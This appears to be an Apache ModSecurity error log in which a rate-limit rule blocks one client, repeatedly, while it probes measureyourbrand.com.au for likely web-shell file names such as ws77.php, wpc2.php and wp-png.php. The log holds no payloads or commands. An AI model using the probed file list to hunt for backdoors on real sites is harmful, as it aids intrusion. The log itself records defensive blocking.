[Sun Apr 19 02:39:58.534960 2026] [:error] [pid 32165:tid 32169] [client 20.91.197.181:55228] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xigmltad.php"] [unique_id "aePP_qe2vKwEk_N0Brb_ZQAAAAA"]
[Sun Apr 19 02:39:59.092150 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:55227] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aePP_0yD4Jm27Mb3NJiVLQAAAIE"]
[Sun Apr 19 02:39:59.635258 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:52035] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aePP_0yD4Jm27Mb3NJiVMAAAAJQ"]
[Sun Apr 19 02:40:00.193670 2026] [:error] [pid 32165:tid 32191] [client 20.91.197.181:52619] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aePQAKe2vKwEk_N0Brb_ZgAAABY"]
[Sun Apr 19 02:40:00.916962 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:47405] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aePQAHFWunkyacYqsD1LawAAAUU"]
[Sun Apr 19 02:40:01.446942 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:50903] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aePQAXFWunkyacYqsD1LbAAAAVY"]
[Sun Apr 19 02:40:02.061885 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:55178] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aePQAkyD4Jm27Mb3NJiVMwAAAIE"]
[Sun Apr 19 02:40:02.590944 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:50925] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aePQAnFWunkyacYqsD1LbgAAAUY"]
[Sun Apr 19 02:40:03.241852 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:47388] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aePQA0H3ayszMLZYflsFNgAAAYY"]
[Sun Apr 19 02:40:03.845162 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:52625] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad.php"] [unique_id "aePQA3FWunkyacYqsD1LcgAAAU0"]
[Sun Apr 19 02:40:04.425712 2026] [:error] [pid 33517:tid 33530] [client 20.91.197.181:52606] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad.php"] [unique_id "aePQBH4Zz-rubR1wiZ-66AAAAMs"]
[Sun Apr 19 02:40:05.027692 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:50914] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad.php"] [unique_id "aePQBUH3ayszMLZYflsFPQAAAY0"]
[Sun Apr 19 02:40:05.665735 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:55184] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad.php"] [unique_id "aePQBXFWunkyacYqsD1LeAAAAUw"]
[Sun Apr 19 02:40:06.258620 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:55540] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "aePQBn4Zz-rubR1wiZ-66wAAANc"]
[Sun Apr 19 02:40:06.858835 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:51835] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "aePQBkyD4Jm27Mb3NJiVOgAAAJU"]
[Sun Apr 19 02:40:07.519798 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:47369] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "aePQB3FWunkyacYqsD1LegAAAVA"]
[Sun Apr 19 02:40:15.628053 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:52558] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zyjhr.php"] [unique_id "aePQD0H3ayszMLZYflsFVgAAAYU"]
[Sun Apr 19 02:40:16.255859 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:50895] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zyjhr.php"] [unique_id "aePQEEyD4Jm27Mb3NJiVSwAAAJQ"]
[Sun Apr 19 02:40:16.825695 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:49832] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zyjhr.php"] [unique_id "aePQEEyD4Jm27Mb3NJiVUgAAAIM"]
[Sun Apr 19 02:40:17.418054 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:47363] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zyjhr.php"] [unique_id "aePQEXFWunkyacYqsD1LkAAAAUw"]
[Sun Apr 19 02:40:18.038838 2026] [:error] [pid 32166:tid 32212] [client 20.91.197.181:52032] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b7cdb465.php"] [unique_id "aePQEpCHNkWwdiZnafLWrwAAAE4"]
[Sun Apr 19 02:40:18.642323 2026] [:error] [pid 32166:tid 32211] [client 20.91.197.181:55229] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b7cdb465.php"] [unique_id "aePQEpCHNkWwdiZnafLWsAAAAE0"]
[Sun Apr 19 02:40:19.192216 2026] [:error] [pid 32166:tid 32215] [client 20.91.197.181:51831] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b7cdb465.php"] [unique_id "aePQE5CHNkWwdiZnafLWsQAAAFE"]
[Sun Apr 19 02:40:19.761842 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:52083] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b7cdb465.php"] [unique_id "aePQE0yD4Jm27Mb3NJiVVwAAAI4"]
[Sun Apr 19 02:40:20.358890 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:55209] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aePQFHFWunkyacYqsD1LlAAAAVY"]
[Sun Apr 19 02:40:20.937607 2026] [:error] [pid 60910:tid 60923] [client 20.91.197.181:55188] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aePQFHFWunkyacYqsD1LlgAAAUs"]
[Sun Apr 19 02:40:21.482788 2026] [:error] [pid 32167:tid 32249] [client 20.91.197.181:51008] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aePQFUyD4Jm27Mb3NJiVWgAAAJg"]
[Sun Apr 19 02:40:22.062896 2026] [:error] [pid 32252:tid 32261] [client 20.91.197.181:52567] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aePQFuXl4Yc-Lt5fJ9irbgAAAQc"]
[Sun Apr 19 02:40:22.590568 2026] [:error] [pid 60910:tid 60922] [client 20.91.197.181:47402] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aePQFnFWunkyacYqsD1LmgAAAUo"]
[Sun Apr 19 02:40:23.193730 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:52036] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aePQF0yD4Jm27Mb3NJiVXQAAAIY"]
[Sun Apr 19 02:40:23.767971 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:55492] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aePQF0yD4Jm27Mb3NJiVXwAAAIM"]
[Sun Apr 19 02:40:24.402729 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:52552] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aePQGEyD4Jm27Mb3NJiVYwAAAJA"]
[Sun Apr 19 02:40:25.041251 2026] [:error] [pid 32167:tid 32237] [client 20.91.197.181:52650] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp5.php"] [unique_id "aePQGUyD4Jm27Mb3NJiVZQAAAIw"]
[Sun Apr 19 02:40:25.602979 2026] [:error] [pid 32167:tid 32232] [client 20.91.197.181:51812] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp5.php"] [unique_id "aePQGUyD4Jm27Mb3NJiVaAAAAIc"]
[Sun Apr 19 02:40:26.183153 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:51040] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp5.php"] [unique_id "aePQGkyD4Jm27Mb3NJiVawAAAJY"]
[Sun Apr 19 02:40:26.780211 2026] [:error] [pid 41277:tid 41286] [client 20.91.197.181:47365] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp5.php"] [unique_id "aePQGkH3ayszMLZYflsFWwAAAYc"]
[Sun Apr 19 02:40:27.864336 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:47361] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aePQG0yD4Jm27Mb3NJiVeQAAAI0"]
[Sun Apr 19 02:40:28.439762 2026] [:error] [pid 32167:tid 32249] [client 20.91.197.181:52082] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aePQHEyD4Jm27Mb3NJiVfgAAAJg"]
[Sun Apr 19 02:40:29.159632 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:52656] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aePQHXFWunkyacYqsD1LuwAAAU0"]
[Sun Apr 19 02:40:29.784585 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:51803] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aePQHUyD4Jm27Mb3NJiVgwAAAIU"]
[Sun Apr 19 02:40:30.334734 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:51024] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit-tags.php"] [unique_id "aePQHkyD4Jm27Mb3NJiVhwAAAJY"]
[Sun Apr 19 02:40:30.979185 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:51031] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit-tags.php"] [unique_id "aePQHkH3ayszMLZYflsFXgAAAZU"]
[Sun Apr 19 02:40:31.635583 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:52548] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit-tags.php"] [unique_id "aePQH-Xl4Yc-Lt5fJ9ircwAAAQ4"]
[Sun Apr 19 02:40:32.175312 2026] [:error] [pid 32166:tid 32220] [client 20.91.197.181:47398] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit-tags.php"] [unique_id "aePQIJCHNkWwdiZnafLWvQAAAFY"]
[Sun Apr 19 02:40:32.730172 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:50921] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aePQIOXl4Yc-Lt5fJ9irdgAAARU"]
[Sun Apr 19 02:40:33.269282 2026] [:error] [pid 32252:tid 32259] [client 20.91.197.181:52617] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aePQIeXl4Yc-Lt5fJ9ireAAAAQU"]
[Sun Apr 19 02:40:33.913554 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:47376] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aePQIUH3ayszMLZYflsFYwAAAYU"]
[Sun Apr 19 02:40:34.529601 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:51053] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aePQInFWunkyacYqsD1LyQAAAUY"]
[Sun Apr 19 02:40:35.192689 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:52056] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aePQI3FWunkyacYqsD1LywAAAVI"]
[Sun Apr 19 02:40:35.826784 2026] [:error] [pid 33517:tid 33526] [client 20.91.197.181:47386] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aePQI34Zz-rubR1wiZ-6-AAAAMc"]
[Sun Apr 19 02:40:36.478412 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:52627] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aePQJHFWunkyacYqsD1L1AAAAU0"]
[Sun Apr 19 02:40:37.199559 2026] [:error] [pid 41277:tid 41294] [client 20.91.197.181:47377] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc2.php"] [unique_id "aePQJUH3ayszMLZYflsFawAAAY8"]
[Sun Apr 19 02:40:37.898653 2026] [:error] [pid 32165:tid 32191] [client 20.91.197.181:52642] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/intall.php"] [unique_id "aePQJae2vKwEk_N0Brb_fQAAABY"]
[Sun Apr 19 02:40:38.645419 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:52078] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/intall.php"] [unique_id "aePQJnFWunkyacYqsD1L2AAAAVY"]
[Sun Apr 19 02:40:39.235642 2026] [:error] [pid 60910:tid 60914] [client 20.91.197.181:52046] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/intall.php"] [unique_id "aePQJ3FWunkyacYqsD1L2QAAAUI"]
[Sun Apr 19 02:40:39.816122 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:52075] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/intall.php"] [unique_id "aePQJ3FWunkyacYqsD1L2wAAAVU"]
